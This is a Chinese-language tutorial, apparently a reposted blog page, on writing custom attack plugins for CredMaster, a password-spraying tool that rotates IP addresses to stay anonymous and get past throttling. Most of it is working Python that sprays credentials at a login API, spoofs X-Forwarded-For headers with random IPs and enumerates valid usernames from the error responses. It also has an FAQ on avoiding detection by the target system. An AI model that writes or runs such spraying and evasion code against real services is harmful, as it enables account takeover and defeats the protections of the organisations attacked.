CredMaster开发指南:从零开始编写自定义攻击插件

【免费下载链接】CredMaster Refactored & improved CredKing password spraying tool, uses FireProx APIs to rotate IP addresses, stay anonymous, and beat throttling 【免费下载链接】CredMaster 项目地址: https://gitcode.com/gh_mirrors/cr/CredMaster

CredMaster是一款功能强大的密码喷洒工具,它通过FireProx API旋转IP地址,帮助用户保持匿名并突破限流。本指南将带你从零开始,轻松掌握如何为CredMaster开发自定义攻击插件,扩展其功能以应对各种场景。

插件开发准备工作

在开始编写自定义插件前,需要先完成以下准备步骤:

  1. 克隆项目仓库:首先确保你已经获取了CredMaster的完整代码

    git clone https://gitcode.com/gh_mirrors/cr/CredMaster
    
  2. 了解项目结构:CredMaster的插件系统采用模块化设计,所有插件都存放在plugins/目录下。每个插件拥有独立的子目录,例如plugins/adfs/plugins/okta/等。

  3. 准备开发环境:确保安装了项目所需的依赖

    pip install -r requirements.txt
    

插件开发基础:认识模板文件

CredMaster提供了一个插件模板,位于plugins/template/template.py。这个模板包含了开发插件所需的基本结构和核心函数,是快速上手的最佳起点。

模板文件核心结构

模板文件主要包含一个认证函数,其基本结构如下:

def template_authenticate(url, username, password, useragent, pluginargs):
    data_response = {
        'result': None,    # 结果状态:"success"、"failure" 或 "potential"
        'error': False,    # 是否发生错误
        'output': "",      # 输出信息
        'valid_user': False # 是否为有效用户
    }
    
    # 请求头设置
    headers = {
        'User-Agent': useragent,
        # 其他必要的请求头
    }
    
    try:
        # 发送认证请求并处理响应
        resp = requests.post(f"{url}/uri", headers=headers)
        
        # 根据响应判断认证结果
        if Success:
            data_response['result'] = "success"
            data_response['output'] = f"[+] SUCCESS: => {username}:{password}"
            data_response['valid_user'] = True
        # 其他状态判断...
        
    except Exception as ex:
        data_response['error'] = True
        data_response['output'] = ex
        
    return data_response

从零开始开发自定义插件

第1步:创建插件目录和文件

  1. plugins/目录下创建新的插件目录,例如myplugin
  2. 在该目录下创建两个文件:
    • __init__.py:空文件,用于标识该目录为Python包
    • myplugin.py:插件的主要代码文件

第2步:编写认证函数

复制模板文件的内容到myplugin.py,并根据目标服务的认证机制进行修改:

  1. 重命名函数:将template_authenticate重命名为myplugin_authenticate(使用插件名称作为前缀)
  2. 配置请求参数:根据目标服务的API文档,修改请求URL、HTTP方法和请求体
  3. 实现响应处理:根据目标服务的响应状态码和响应内容,实现认证结果的判断逻辑

第3步:实现核心认证逻辑

以一个假设的"ExampleService"为例,展示如何实现基本认证逻辑:

def myplugin_authenticate(url, username, password, useragent, pluginargs):
    data_response = {
        'result': None,
        'error': False,
        'output': "",
        'valid_user': False
    }
    
    # 生成必要的请求头
    spoofed_ip = utils.generate_ip()
    headers = {
        'User-Agent': useragent,
        "X-Forwarded-For": spoofed_ip,
        "Content-Type": "application/json"
    }
    
    # 构建认证数据
    auth_data = {
        "username": username,
        "password": password
    }
    
    try:
        # 发送认证请求
        resp = requests.post(f"{url}/api/auth", json=auth_data, headers=headers, verify=False)
        
        # 处理响应
        if resp.status_code == 200:
            data_response['result'] = "success"
            data_response['output'] = f"[+] SUCCESS: => {username}:{password}"
            data_response['valid_user'] = True
        elif resp.status_code == 401 and "Invalid password" in resp.text:
            data_response['result'] = "failure"
            data_response['output'] = f"[-] FAILURE: Invalid password => {username}:{password}"
            data_response['valid_user'] = True  # 用户名有效但密码错误
        elif resp.status_code == 404:
            data_response['result'] = "failure"
            data_response['output'] = f"[-] FAILURE: User not found => {username}:{password}"
        else:
            data_response['result'] = "potential"
            data_response['output'] = f"[?] UNKNOWN: {resp.status_code} => {username}:{password}"
            
    except Exception as ex:
        data_response['error'] = True
        data_response['output'] = f"[!] ERROR: {str(ex)}"
        
    return data_response

第4步:处理特殊情况

在实际开发中,需要考虑各种特殊情况:

  1. 2FA处理:当检测到需要二次认证时,应将结果标记为"success"并在输出中注明

    elif resp.status_code == 200 and "2FA required" in resp.text:
        data_response['result'] = "success"
        data_response['output'] = f"[+] SUCCESS: 2FA Required => {username}:{password}"
        data_response['valid_user'] = True
    
  2. 账户锁定检测:识别账户锁定状态,避免持续尝试

    elif "Account locked" in resp.text:
        data_response['result'] = "potential"
        data_response['output'] = f"[!] LOCKED: Account locked => {username}:{password}"
    
  3. 自定义请求头:支持通过插件参数添加自定义请求头

    headers = utils.add_custom_headers(pluginargs, headers)
    

插件测试与调试

开发完成后,需要对插件进行充分测试:

  1. 准备测试数据:在users.txtpasswords.txt中添加测试账号
  2. 运行测试命令
    python credmaster.py --plugin myplugin --url https://target.example.com
    
  3. 查看输出结果:检查credmaster.py的输出,验证插件是否按预期工作

插件发布与分享

如果你的插件对其他用户也有价值,可以考虑:

  1. 遵循项目的贡献指南
  2. 确保代码注释清晰,便于其他开发者理解
  3. 提交Pull Request,将你的插件合并到主项目中

常见问题与解决方案

Q: 如何处理不同的认证方式?

A: CredMaster支持多种认证方式,你可以根据需要实现:

  • 基本认证(Basic Auth)
  • 表单认证(Form-based Auth)
  • JSON API认证
  • OAuth认证

Q: 如何避免被目标系统检测?

A: 利用CredMaster提供的工具函数:

  • utils.generate_ip():生成随机IP地址
  • utils.generate_trace_id():生成唯一跟踪ID
  • utils.add_custom_headers():添加自定义请求头

Q: 插件开发需要哪些Python知识?

A: 基础的Python编程知识即可,主要包括:

  • 函数定义与参数传递
  • 异常处理
  • HTTP请求处理(使用requests库)
  • JSON数据处理

通过本指南,你已经掌握了CredMaster自定义插件的开发方法。现在,你可以根据实际需求,开发各种针对不同目标系统的攻击插件,充分发挥CredMaster的强大功能。无论是企业内部安全测试还是渗透测试,自定义插件都能让CredMaster更适应你的特定场景。

【免费下载链接】CredMaster Refactored & improved CredKing password spraying tool, uses FireProx APIs to rotate IP addresses, stay anonymous, and beat throttling 【免费下载链接】CredMaster 项目地址: https://gitcode.com/gh_mirrors/cr/CredMaster

Logo

欢迎加入 MCP 技术社区!与志同道合者携手前行,一同解锁 MCP 技术的无限可能!

更多推荐